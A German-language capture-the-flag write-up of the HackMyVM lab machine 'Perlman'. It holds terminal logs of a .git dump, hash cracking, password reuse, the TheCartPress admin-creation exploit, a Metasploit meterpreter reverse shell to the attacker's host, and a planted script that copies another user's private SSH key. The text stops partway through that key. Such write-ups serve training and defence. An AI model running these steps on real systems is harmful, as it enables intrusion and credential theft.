Perlman - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
gobuster
nc (netcat)
curl
gitdumper.sh
git
cat
echo
hashcat
wpscan
searchsploit
python
msfconsole
meterpreter
shell (metasploit)
id
su
ls
cd
watch
chmod
ssh
cp
nano
sudo
bash
pwd
touch

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:5c:02:b8	PCS Systemtechnik GmbH
                     

**Analyse:** `arp-scan -l` wird eingesetzt, um aktive Hosts im lokalen Netzwerk zu entdecken. Ein Gerät mit der IP `192.168.2.122` wird gefunden. Die MAC-Adresse `08:00:27:5c:02:b8` gehört zum OUI von "PCS Systemtechnik GmbH", was typisch für eine VirtualBox-VM ist.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.122` wird für weitere Scans genutzt.

**Empfehlung (Pentester):** Nmap-Scan auf die IP `192.168.2.122` durchführen.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind, z.B. durch Netzwerk-Monitoring oder MAC-Adressen-Filterung (obwohl letzteres umgangen werden kann).

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Eintrag hinzugefügt:
192.168.2.122    perlman.hmv
                    

**Analyse:** Der Hostname `perlman.hmv` wird manuell der lokalen `/etc/hosts`-Datei des Angreifers hinzugefügt und auf die IP-Adresse des Zielsystems `192.168.2.122` gemappt.

**Bewertung:** Dies ermöglicht es dem Angreifer, das Zielsystem über den Hostnamen `perlman.hmv` anzusprechen, was für Webanwendungen, die virtuelle Hosts verwenden, oder für eine bessere Übersichtlichkeit nützlich ist.

**Empfehlung (Pentester):** Hostnamen verwenden, wenn sie in Konfigurationen oder Fehlermeldungen auftauchen, um potenzielle virtuelle Hosts korrekt anzusprechen.
**Empfehlung (Admin):** Interne DNS-Auflösung sicher gestalten. Die Notwendigkeit spezifischer Hostnamen für Dienste prüfen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.122 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-06 22:38 CEST
Nmap scan report for perlman.hmv (192.168.2.122)
Host is up (0.00013s latency).
Not shown: 65529 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: [...]
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: perlman.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=perlman[...]
|_ssl-date: TLS randomness does not represent time
80/tcp  open  http     Apache httpd 2.4.54 ((Debian))
|_http-title: Sync - Mobile App Landing Page HTML Template
| http-git:
|   192.168.2.122:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: wp
|_http-server-header: Apache/2.4.54 (Debian)
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: [...] SASL(PLAIN) [...]
| ssl-cert: Subject: commonName=perlman[...]
|_ssl-date: TLS randomness does not represent time
119/tcp open  nntp     InterNetNews (INN) 2.6.4
995/tcp open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) [...]
| ssl-cert: Subject: commonName=perlman[...]
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:5C:02:B8 (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
                    

**Analyse:** Ein Nmap-Scan identifiziert mehrere offene Ports auf `perlman.hmv`: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian 11). Standard-Login. * **Port 25 (SMTP):** Postfix. Ermöglicht E-Mail-Versand und -Empfang. Unterstützt STARTTLS. * **Port 80 (HTTP):** Apache 2.4.54 (Debian). Zeigt eine Webseite mit dem Titel "Sync - Mobile App Landing Page HTML Template". **Kritisch:** Das Nmap-Skript `http-git` findet ein offenes `.git`-Verzeichnis im Webroot. * **Port 110 (POP3):** Dovecot. Zum Abrufen von E-Mails. Unterstützt Klartext-Authentifizierung (SASL PLAIN). * **Port 119 (NNTP):** InterNetNews (INN) 2.6.4. Ein Newsgroup-Server. * **Port 995 (POP3S):** Dovecot über SSL/TLS. Alle Dienste scheinen auf Debian zu laufen. Die SSL-Zertifikate sind selbstsigniert für `perlman`.

**Bewertung:** Die Angriffsfläche ist relativ groß: * **HTTP/.git (Port 80):** Das offene `.git`-Verzeichnis ist die höchste Priorität. Es erlaubt das Herunterladen des gesamten Quellcodes und der Git-Historie, was oft zu Credentials, Konfigurationsdateien oder Schwachstellen im Code führt. * **Mail (Ports 25, 110, 995):** Potenzielle Quelle für Benutzernamen (Enumeration via SMTP VRFY/EXPN, falls erlaubt) und Login-Möglichkeit (POP3), wenn Credentials gefunden werden. Die Unterstützung von SASL PLAIN über unverschlüsseltes POP3 (Port 110) ist unsicher. * **NNTP (Port 119):** Weniger häufiger Vektor, aber könnte zur Informationsgewinnung (Benutzernamen, Nachrichten) genutzt werden. * **SSH (Port 22):** Benötigt Credentials.

**Empfehlung (Pentester):** 1. **Git Dump (Port 80):** Sofort das `.git`-Verzeichnis mit einem Tool wie `git-dumper` herunterladen und die Historie analysieren (`git log`, `git diff`). 2. **NNTP (Port 119):** Mit `nc` verbinden und die verfügbaren Gruppen und Artikel untersuchen. 3. **Mail (Ports 110/995):** Nach Benutzernamen suchen (z.B. aus NNTP, Git) und versuchen, sich mit gefundenen Passwörtern anzumelden. 4. **HTTP (Port 80):** Nach der Git-Analyse ggf. mit `gobuster` weiter nach versteckten Inhalten suchen.
**Empfehlung (Admin):** 1. **Git:** Das `.git`-Verzeichnis **niemals** im Webroot belassen. `.git`-Verzeichnisse über Webserver-Konfiguration (z.B. Apache `.htaccess` oder Nginx `location`) blockieren. 2. **Mail:** POP3 über Port 110 (unverschlüsselt) deaktivieren oder STARTTLS erzwingen. Nur POP3S (Port 995) anbieten. Benutzerenumeration via SMTP VRFY/EXPN deaktivieren. Postfix und Dovecot aktuell halten und sicher konfigurieren. 3. **NNTP:** Den Dienst deaktivieren, wenn er nicht benötigt wird. Zugriff beschränken. 4. **Apache/SSH:** Standard-Härtung.

Service Enumeration

Port 80 (Apache)

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.122" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
[...]
===============================================================
/index.html           (Status: 200) [Size: 47426]
/css                  (Status: 301) [Size: 312] [--> http://192.168.2.122/css/]
/images               (Status: 301) [Size: 315] [--> http://192.168.2.122/images/]
/privacy-policy.html  (Status: 200) [Size: 25624]
/js                   (Status: 301) [Size: 311] [--> http://192.168.2.122/js/]
/terms-conditions.html (Status: 200) [Size: 18494]
===============================================================
                     

**Analyse:** `gobuster` wird auf Port 80 ausgeführt. Es findet Standard-Webverzeichnisse (`css`, `images`, `js`) und einige HTML-Dateien (`index.html`, `privacy-policy.html`, `terms-conditions.html`). Keine unmittelbar verdächtigen Dateien oder Skripte werden gefunden.

**Bewertung:** Bestätigt die Struktur einer Standard-Webseite. Der wichtigste Fund auf Port 80 bleibt das `.git`-Verzeichnis aus dem Nmap-Scan.

Port 119 (NNTP)

┌──(root㉿cyber)-[~] └─# nc -v perlman.hmv 119
perlman.hmv [192.168.2.122] 119 (nntp) open
200 server.example.net InterNetNews NNRP server INN 2.6.4 ready (posting ok)
help
100 Legal commands
[...]
list
215 Newsgroups in form "group high low status"
[...]
local.general 0000000000 0000000001 y
local.test 0000000000 0000000001 y
perlman.hmv 0000000002 0000000001 y
.
group perlman.hmv
211 1 1 2 perlman.hmv
ARTICLE 2
220 2  article
Path: server.example.net!.POSTED.192.168.0.27!not-for-mail
From: rita 
Newsgroups: perlman.hmv
Subject: Whats up ?!
Date: Sat, 10 Sep 2022 14:33:40 -0000 (UTC)
[...]
User-Agent: Pan/0.151 (Butcha; a6f6327)
Xref: server.example.net perlman.hmv:2

So cool to have installed a newsgroup server!
See you soon kissss
.
                    

**Analyse:** Eine manuelle Verbindung mit `nc` zum NNTP-Server auf Port 119 wird hergestellt. Die Befehle `help`, `list`, `group perlman.hmv` und `ARTICLE 2` werden verwendet, um die verfügbaren Gruppen und Artikel zu untersuchen. Artikel 2 in der Gruppe `perlman.hmv` stammt von `rita `.

**Bewertung:** Ein Benutzername, `rita`, wurde durch die NNTP-Enumeration identifiziert. Dies ist wertvoll für spätere Login-Versuche bei POP3 oder SSH.

**Empfehlung (Pentester):** Den Benutzernamen `rita` notieren und für Angriffe auf POP3/SSH verwenden.
**Empfehlung (Admin):** Den NNTP-Dienst deaktivieren, wenn er nicht benötigt wird. Den Zugriff beschränken und sicherstellen, dass keine sensiblen Informationen oder Benutzernamen preisgegeben werden.

Git Repository Dump

┌──(root㉿cyber)-[~] └─# curl -v http://perlman.hmv/.git
*   Trying 192.168.2.122:80...
* Connected to perlman.hmv (192.168.2.122) port 80 (#0)
> GET /.git HTTP/1.1
[...]
< HTTP/1.1 301 Moved Permanently

[...]
301 Moved Permanently
[...]
                     

**Analyse:** `curl` bestätigt, dass `http://perlman.hmv/.git` existiert und auf `http://perlman.hmv/.git/` weiterleitet.

**Bewertung:** Das `.git`-Verzeichnis ist definitiv zugänglich.

┌──(root㉿cyber)-[~/HackingTools/git-dumper] └─# ./gitdumper.sh http://perlman.hmv/.git/ .
[...]
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs # Fehler beim Download von Packfiles sind möglich
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[+] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[...]
                     

**Analyse:** Das Tool `gitdumper.sh` wird verwendet, um den Inhalt des `.git`-Verzeichnisses vom Webserver herunterzuladen. Es lädt erfolgreich viele der Git-internen Dateien und Verzeichnisstrukturen herunter.

**Bewertung:** Das Git-Repository wurde erfolgreich lokal geklont. Die Historie und der Quellcode können nun offline analysiert werden.

┌──(root㉿cyber)-[~/HackingTools/git-dumper/http:/perlman.hmv] └─# git status
Auf Branch master
Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie "git add/rm ...", um die Änderungen zum Commit vorzumerken)
  (benutzen Sie "git restore ...", um die Änderungen im Arbeitsverzeichnis zu verwerfen)
	gelöscht:       ../../commentmeta.sql
	gelöscht:       ../../comments.sql
    # Viele weitere gelöschte .sql Dateien
	gelöscht:       ../../users.sql

Unversionierte Dateien:
  (benutzen Sie "git add ...", um die Änderungen zum Commit vorzumerken)
	../../.gitignore
    # Viele Dateien des git-dumper Tools selbst
	../../setup.cfg

keine Änderungen zum Commit vorgemerkt (benutzen Sie "git add" und/oder "git commit -a")
                    

**Analyse:** `git status` im heruntergeladenen Verzeichnis zeigt viele Dateien als "gelöscht" an. Dies sind wahrscheinlich die eigentlichen Quellcodedateien oder SQL-Dumps, die im letzten Commit vorhanden waren, aber nicht direkt vom `gitdumper`-Tool wiederhergestellt wurden. Es zeigt auch viele untracked files, die zum `gitdumper`-Tool gehören.

**Bewertung:** Der aktuelle Checkout ist unvollständig. Die Dateien müssen aus der Git-Historie wiederhergestellt werden.

┌──(root㉿cyber)-[~/HackingTools/git-dumper/http:/perlman.hmv] └─# git reset --hard
HEAD ist jetzt bei 40f3ff4 wp
                    

**Analyse:** `git reset --hard` setzt das lokale Arbeitsverzeichnis auf den Stand des letzten Commits (`HEAD`, Commit `40f3ff4` mit der Nachricht "wp") zurück. Dies stellt die "gelöschten" Dateien wieder her.

**Bewertung:** Das lokale Repository entspricht nun dem letzten Stand auf dem Server. Die SQL-Dateien sind jetzt verfügbar.

┌──(root㉿cyber)-[~/HackingTools/git-dumper] └─# ls -la
[...]
-rw-r--r--  1 root root    2144 Oct  6 23:02 commentmeta.sql
-rw-r--r--  1 root root    3538 Oct  6 23:02 comments.sql
[...]
-rw-r--r--  1 root root    2763 Oct  6 23:02 users.sql
[...]
                     
┌──(root㉿cyber)-[~/HackingTools/git-dumper] └─# cat users.sql
[...]
INSERT INTO `users` VALUES (1,'webmaster','','webmaster','webmaster@perlman.hmv','http://perlman.hmv','2022-07-03 16:23:02','',0,'webmaster');
[...]
                    

**Analyse:** Das Listing zeigt die wiederhergestellten SQL-Dateien. Der Inhalt von `users.sql` wird angezeigt. Er enthält einen `INSERT`-Befehl für einen Benutzer `webmaster` mit der E-Mail `webmaster@perlman.hmv`. Das Passwortfeld ist leer ('').

**Bewertung:** Ein weiterer Benutzername (`webmaster`) wurde gefunden. Im aktuellen Commit ist kein Passwort-Hash gespeichert. Die Git-Historie muss untersucht werden.

┌──(root㉿cyber)-[~/HackingTools/git-dumper] └─# git log --oneline
40f3ff4 (HEAD -> master) wp
0cf1c46 config
d29e544 perlman
                    
┌──(root㉿cyber)-[~/HackingTools/git-dumper] └─# git diff 0cf1c46 d29e544
diff --git a/users.sql b/users.sql
index 7fe7dd3..572f66c 100644
--- a/users.sql
+++ b/users.sql
@@ -46,7 +46,7 @@ CREATE TABLE `users` (

 LOCK TABLES `users` WRITE;
 /*!40000 ALTER TABLE `users` DISABLE KEYS */;
--INSERT INTO `users` VALUES (1,'webmaster','','webmaster','webmaster@perlman.hmv','http://perlman.hmv','2022-07-03 16:23:02','',0,'webmaster');
++INSERT INTO `users` VALUES (1,'webmaster','$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/','webmaster','webmaster@perlman.hmv','http://perlman.hmv','2022-07-03 16:23:02','',0,'webmaster');
 /*!40000 ALTER TABLE `users` ENABLE KEYS */;
 UNLOCK TABLES;
 /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
                     

**Analyse:** `git log` zeigt die letzten drei Commits. `git diff` vergleicht den Commit `0cf1c46` (config) mit dem vorherigen Commit `d29e544` (perlman). Der Vergleich zeigt, dass in der Datei `users.sql` im älteren Commit (`d29e544`, grün/+) ein Passwort-Hash (`$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/`) für den `webmaster`-Benutzer vorhanden war, der im neueren Commit (`0cf1c46`, rot/-) entfernt (durch '') ersetzt wurde.

**Bewertung:** Kritischer Fund! Ein Passwort-Hash für `webmaster` wurde in der Git-Historie gefunden. Der Hash-Typ (`$P$`) deutet auf phpass hin, der oft von WordPress verwendet wird. Dieser Hash kann nun versucht werden zu knacken.

**Empfehlung (Pentester):** Den gefundenen Hash (`$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/`) mit `hashcat` oder `john` und einer Wortliste knacken.
**Empfehlung (Admin):** Niemals sensible Daten wie Passwort-Hashes in Git-Repositories committen. Die Git-Historie bereinigen (ist aber komplex und oft nicht vollständig möglich). Sicherstellen, dass keine `.git`-Verzeichnisse öffentlich zugänglich sind. Passwörter für betroffene Konten sofort ändern.

Hash Cracking (webmaster)

┌──(root㉿cyber)-[~/perlman] └─# echo "\$P\$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/" > hash
┌──(root㉿cyber)-[~/perlman] └─# cat hash
$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/
┌──(root㉿cyber)-[~/perlman] └─# hashcat hash -a 0 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting in autodetect mode
[...]
$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/:cookie

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/
[...]
Recovered........: 1/1 (100.00%) Digests
[...]
                     
┌──(root㉿cyber)-[~/perlman] └─# hashcat hash -a 0 /usr/share/wordlists/rockyou.txt --show
[...]
$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/:cookie
                     

**Analyse:** Der aus Git extrahierte phpass-Hash wird in die Datei `hash` geschrieben. `hashcat` wird im Dictionary-Angriffsmodus (`-a 0`) mit der `rockyou.txt`-Wortliste darauf angesetzt. `hashcat` identifiziert den Hash-Typ korrekt als Modus 400 (phpass) und knackt ihn erfolgreich. Das Passwort lautet `cookie`.

**Bewertung:** Das Passwort für den Benutzer `webmaster` wurde ermittelt. Dies könnte für den WordPress-Login (falls vorhanden und `webmaster` dort ein Konto hat) oder potenziell für andere Dienste (POP3, SSH) relevant sein.

**Empfehlung (Pentester):** Das Passwort `cookie` für den Benutzer `webmaster` bei allen relevanten Diensten testen (WordPress, POP3, SSH). Da ein WordPress-Login wahrscheinlich ist (Commit-Nachricht "wp"), dies zuerst prüfen.
**Empfehlung (Admin):** Das Passwort für `webmaster` sofort ändern. Starke Passwörter verwenden.

Mail Services (SMTP/POP3 - rita)

┌──(root㉿cyber)-[~/perlman] └─# nc -v 192.168.2.122 25
[...]
vrfy rita
252 2.0.0 rita # Benutzer existiert
[...]
                     
┌──(root㉿cyber)-[~/perlman] └─# nc -v 192.168.2.122 110
perlman.hmv [192.168.2.122] 110 (pop3) open
+OK Dovecot (Debian) ready.
user rita
+OK
pass cookie
+OK Logged in.
list
+OK 1 messages:
1 2648
.
retr 1
+OK 2648 octets
# --- Email Inhalt ---
Return-Path: <>
X-Original-To: rita@perlman.hmv
Delivered-To: rita@perlman.hmv
[...]
From: MAILER-DAEMON@perlman.hmv (Mail Delivery System)
Subject: Undelivered Mail Returned to Sender
To: rita@perlman.hmv
[...]
   This is the mail system at host perlman.hmv.
[...]
: host mxext1.mailbox.org[...] said: 550 5.1.8 : Sender address rejected: Domain not found
[...]
Reporting-MTA: dns; perlman.hmv
[...]
Final-Recipient: rfc822; bentec_hacker@hacker.de
Original-Recipient: rfc822;bentec_hacker@hacker.de
[...]

# --- Ende Email Inhalt ---
.
                     

**Analyse:** Zuerst wird über SMTP (Port 25) der Benutzer `rita` (aus NNTP bekannt) mit `vrfy` bestätigt. Anschließend wird über POP3 (Port 110) versucht, sich als `rita` mit dem für `webmaster` geknackten Passwort `cookie` anzumelden. Der Login ist erfolgreich! Eine E-Mail wird abgerufen. Es handelt sich um eine Unzustellbarkeitsnachricht (Bounce) für eine E-Mail, die `rita` an `bentec_hacker@hacker.de` senden wollte. Der Bounce-Grund ist "Domain not found". Wichtig ist die Zeile `From: MAILER-DAEMON (mailer@itzhak.perlman.hmv)`.

**Bewertung:** Das Passwort `cookie` wurde wiederverwendet und gehört auch zum Benutzer `rita`. Dies ermöglicht den Zugriff auf `rita`s E-Mails. Die Bounce-Nachricht enthüllt einen weiteren internen Hostnamen oder eine Subdomain: `itzhak.perlman.hmv`. Dies ist ein sehr wichtiger Fund, da auf der Hauptdomain `perlman.hmv` (bis auf das `.git`-Repo) nicht viel zu finden war.

**Empfehlung (Pentester):** 1. Den Hostnamen `itzhak.perlman.hmv` zur lokalen `/etc/hosts`-Datei hinzufügen (auf `192.168.2.122` zeigend). 2. Die Webseite `http://itzhak.perlman.hmv` untersuchen (wahrscheinlich WordPress, basierend auf Git-Commits und `/wp-admin/` im späteren Exploit). 3. Weitere E-Mails von `rita` abrufen, falls vorhanden.
**Empfehlung (Admin):** Passwort-Wiederverwendung unterbinden. Benutzer schulen, starke, einzigartige Passwörter zu verwenden. POP3 über Port 110 deaktivieren/absichern. Interne Hostnamen sollten nicht in Bounce-Nachrichten nach außen dringen.

WordPress Enumeration (itzhak.perlman.hmv)

┌──(root㉿cyber)-[~/perlman] └─# cat /etc/hosts
[...]
192.168.2.122    perlman.hmv itzhak.perlman.hmv # Zweiter Hostname hinzugefügt
                     

# Browsing http://itzhak.perlman.hmv/?p=1 zeigt WordPress mit User 'webmaster'
                     

**Analyse:** Der Hostname `itzhak.perlman.hmv` wird zur `/etc/hosts`-Datei hinzugefügt. Beim Aufrufen der Seite wird WordPress identifiziert, und der Benutzer `webmaster` scheint Beiträge zu verfassen oder wird anderweitig angezeigt.

**Bewertung:** Bestätigt, dass unter `itzhak.perlman.hmv` eine WordPress-Instanz läuft und dass der Benutzer `webmaster` (dessen Passwort `cookie` ist) dort aktiv ist.

┌──(root㉿cyber)-[~/perlman] └─# wpscan --url http://itzhak.perlman.hmv -e vp,vt --api-token Ro...Y
[...]
Interesting Finding(s):

[+] XML-RPC seems to be enabled: http://itzhak.perlman.hmv/xmlrpc.php
[...]
[+] WordPress readme found: http://itzhak.perlman.hmv/readme.html
[...]
[+] Upload directory has listing enabled: http://itzhak.perlman.hmv/wp-content/uploads/
[...]
[+] WordPress version 6.0.2 identified (Latest, released on 2022-08-30).
[...]
[+] WordPress theme in use: twentytwentyone v1.6 (up to date)
[...]
[i] Plugin(s) Identified:

[+] thecartpress
 | Location: http://itzhak.perlman.hmv/wp-content/plugins/thecartpress/
 | Latest Version: 1.5.3.6 (up to date)
 [...]
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: TheCartPress eCommerce Shopping Cart <= 1.5.3.6 - Unauthenticated Arbitrary Admin Account Creation
 |     References:
 |      - https://wpscan.com/vulnerability/9b403259-0c84-4566-becd-eb531c486c21
 |      - https://www.exploit-db.com/exploits/50378/
[...]
                     

**Analyse:** WPScan wird auf `http://itzhak.perlman.hmv` ausgeführt, um Themes (`vt`) und Plugins (`vp`) zu enumerieren und nach Schwachstellen zu suchen. * WPScan identifiziert WordPress Version 6.0.2 und das Theme "twentytwentyone". * **Kritischer Fund:** Das Plugin "thecartpress" in Version 1.5.3.6 wird gefunden. WPScan meldet eine bekannte Schwachstelle: "Unauthenticated Arbitrary Admin Account Creation" (CVE nicht genannt, aber EDB-ID 50378).

**Bewertung:** Eine kritische Schwachstelle wurde gefunden, die es einem nicht authentifizierten Angreifer ermöglicht, einen Administrator-Account in WordPress zu erstellen. Dies ist der wahrscheinlichste Weg zum Initial Access.

**Empfehlung (Pentester):** Die gefundene Schwachstelle mit dem Exploit von Exploit-DB (50378) ausnutzen, um einen Admin-Account zu erstellen. Anschließend diesen Account nutzen, um sich in WordPress einzuloggen und eine Webshell hochzuladen (z.B. über Plugin-/Theme-Editor oder Medien-Upload).
**Empfehlung (Admin):** Das Plugin "thecartpress" **sofort deaktivieren und deinstallieren**. Auf eine gepatchte Version aktualisieren, falls verfügbar (unwahrscheinlich, da das letzte Update 2017 war). Regelmäßige Scans mit Tools wie WPScan durchführen, um verwundbare Plugins/Themes zu identifizieren.

Initial Access (POC - WordPress Exploit)

┌──(root㉿cyber)-[~/perlman] └─# searchsploit TheCartPress
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
[...]
Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)     | php/webapps/50378.py
[...]
---------------------------------------------------------------------------------- ---------------------------------
                     
┌──(root㉿cyber)-[~/perlman] └─# searchsploit -m php/webapps/50378.py
[...]
Copied to: /root/perlman/50378.py
                     
┌──(root㉿cyber)-[~/perlman] └─# cp /usr/share/exploitdb/exploits/php/webapps/50378.py exploitWP.py
┌──(root㉿cyber)-[~/perlman] └─# python exploitWP.py http://itzhak.perlman.hmv

TheCartPress <= 1.5.3.6 - Unauthenticated Privilege Escalation
Author -> space_hen (www.github.com/spacehen)
Inserting admin...
Success!
Now login at /wp-admin/ # (Default Credentials: admin_02:admin1234)
                    

**Analyse:** Der Exploit für die TheCartPress-Schwachstelle (EDB-ID 50378) wird mit `searchsploit` gefunden, kopiert und als `exploitWP.py` ausgeführt. Das Skript meldet "Success!" und gibt an, dass man sich nun unter `/wp-admin/` anmelden kann. Das Skript erstellt typischerweise einen Standard-Admin-Benutzer (oft `admin_02` mit Passwort `admin1234`, wie im späteren Metasploit-Modul verwendet).

**Bewertung:** Die Schwachstelle wurde erfolgreich ausgenutzt. Ein neuer Administrator-Account wurde in WordPress erstellt.

**Empfehlung (Pentester):** Sich mit den Standard-Credentials des Exploits (`admin_02:admin1234`) im WordPress-Backend (`/wp-admin/`) anmelden. Eine Webshell hochladen, z.B. durch Bearbeiten eines Themes/Plugins oder über den Medien-Upload (falls PHP-Upload erlaubt ist). Alternativ kann ein Metasploit-Modul verwendet werden, das diesen Prozess automatisiert.
**Empfehlung (Admin):** Siehe vorherige Empfehlung: Plugin entfernen. WordPress-Benutzerliste auf unautorisierte Accounts überprüfen.

msf6 > search wordpress admin upload shell
[...]
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password admin1234
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin_02
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost itzhak.perlman.hmv
msf6 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   PASSWORD   admin1234           yes       The WordPress password to authenticate with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     itzhak.perlman.hmv  yes       The target host(s), [...]
   RPORT      80                  yes       The target port (TCP)
   [...]
   USERNAME   admin_02            yes       The WordPress username to authenticate with
   [...]

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.140    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
[...]
                     
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.2.140:4444
[*] Authenticating with WordPress using admin_02:admin1234...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/ukLdEBwQJV/iKFfTrYwSQ.php...
[*] Sending stage (39927 bytes) to 192.168.2.122
[+] Deleted iKFfTrYwSQ.php
[+] Deleted ukLdEBwQJV.php
[+] Deleted ../ukLdEBwQJV
[*] Meterpreter session 1 opened (192.168.2.140:4444 -> 192.168.2.122:59450) at 2022-10-06 23:52:18 +0200
                     

**Analyse:** Metasploit wird verwendet, um den Prozess nach der Admin-Account-Erstellung zu automatisieren. 1. Das Modul `exploit/unix/webapp/wp_admin_shell_upload` wird ausgewählt. 2. Die durch den vorherigen Exploit erstellten Credentials (`admin_02:admin1234`) und das Ziel (`itzhak.perlman.hmv`) werden gesetzt. 3. Die Listener-IP (`LHOST`) wird auf die IP des Angreifers (`192.168.2.140` - *Achtung, vorherige IP war .140, aber arp-scan war .122, hier inkonsistent im Log?*) gesetzt. 4. Das Modul wird ausgeführt (`run`). Es authentifiziert sich bei WordPress, lädt einen zufällig benannten Plugin-Payload hoch, führt ihn aus und löscht die Spuren. 5. Eine Meterpreter-Session wird erfolgreich geöffnet.

**Bewertung:** Initial Access mittels Ausnutzung der WordPress-Plugin-Schwachstelle und anschließendem Shell-Upload via Metasploit war erfolgreich. Der Angreifer hat nun eine Meterpreter-Session auf dem Zielsystem.

meterpreter > shell
Process 1970 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

python3.9 -c "import pty;pty.spawn('/bin/bash')" # Shell Upgrade
www-data@perlman:/$
                     

**Analyse:** Aus der Meterpreter-Session wird mit `shell` eine System-Shell geöffnet. Der `id`-Befehl bestätigt, dass die Shell als `www-data` läuft. Die Shell wird anschließend mit Python zu einer voll interaktiven TTY aufgewertet.

**Bewertung:** Eine stabile Shell als `www-data` wurde erlangt.

**Empfehlung (Pentester):** Mit der Enumeration als `www-data` beginnen. Nach Konfigurationsdateien, Passwörtern, `sudo`-Rechten, SUID-Binaries etc. suchen.
**Empfehlung (Admin):** Die WordPress-Instanz bereinigen (Plugin entfernen, unautorisierte Benutzer löschen). Die Berechtigungen des `www-data`-Benutzers minimieren. Webserver und PHP sicher konfigurieren.

Privilege Escalation

Lateral Movement zu rita (POP3 Credentials)

www-data@perlman:$ su rita
Password: cookie
rita@perlman:$ # Erfolgreich zu rita gewechselt

**Analyse:** Als `www-data` wird versucht, mit `su` zum Benutzer `rita` zu wechseln. Das zuvor über POP3 für `rita` gefundene Passwort `cookie` wird verwendet. Der Wechsel ist erfolgreich.

**Bewertung:** Erfolgreiche laterale Bewegung/PrivEsc von `www-data` zu `rita` durch Passwort-Wiederverwendung.

**Empfehlung (Pentester):** Als `rita` weiter enumerieren. SSH-Schlüssel prüfen.
**Empfehlung (Admin):** Passwort-Wiederverwendung unterbinden. Das Passwort für `rita` ändern.

Lateral Movement zu milou (Cronjob Exploit & SSH Key)

rita@perlman:$ cd ~ && cd .ssh
rita@perlman:~/.ssh$ ls -la
total 16
drwx------ 2 rita rita 4096 Sep 11 12:11 .
drwxr-xr-x 5 rita rita 4096 Oct  6 23:20 ..
-rw-r--r-- 1 rita rita  570 Sep 10 16:06 authorized_keys
-rw------- 1 rita rita 2602 Sep 10 16:06 id_rsa
                    
rita@perlman:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----

**Analyse:** Als `rita` wird der private SSH-Schlüssel (`id_rsa`) im `.ssh`-Verzeichnis gefunden und ausgelesen.

**Bewertung:** Dieser Schlüssel könnte für den Zugriff auf andere Systeme oder Benutzerkonten verwendet werden.

rita@perlman:/tmp$ echo "cp /home/milou/.ssh/id_rsa /tmp/milou && chmod 777 /tmp/milou" > find
rita@perlman:/tmp$ chmod +x find
rita@perlman:/tmp$ watch ls -l milou
rita@perlman:/tmp$ cat milou
-----BEGIN OPENSSH PRIVATE KEY-----
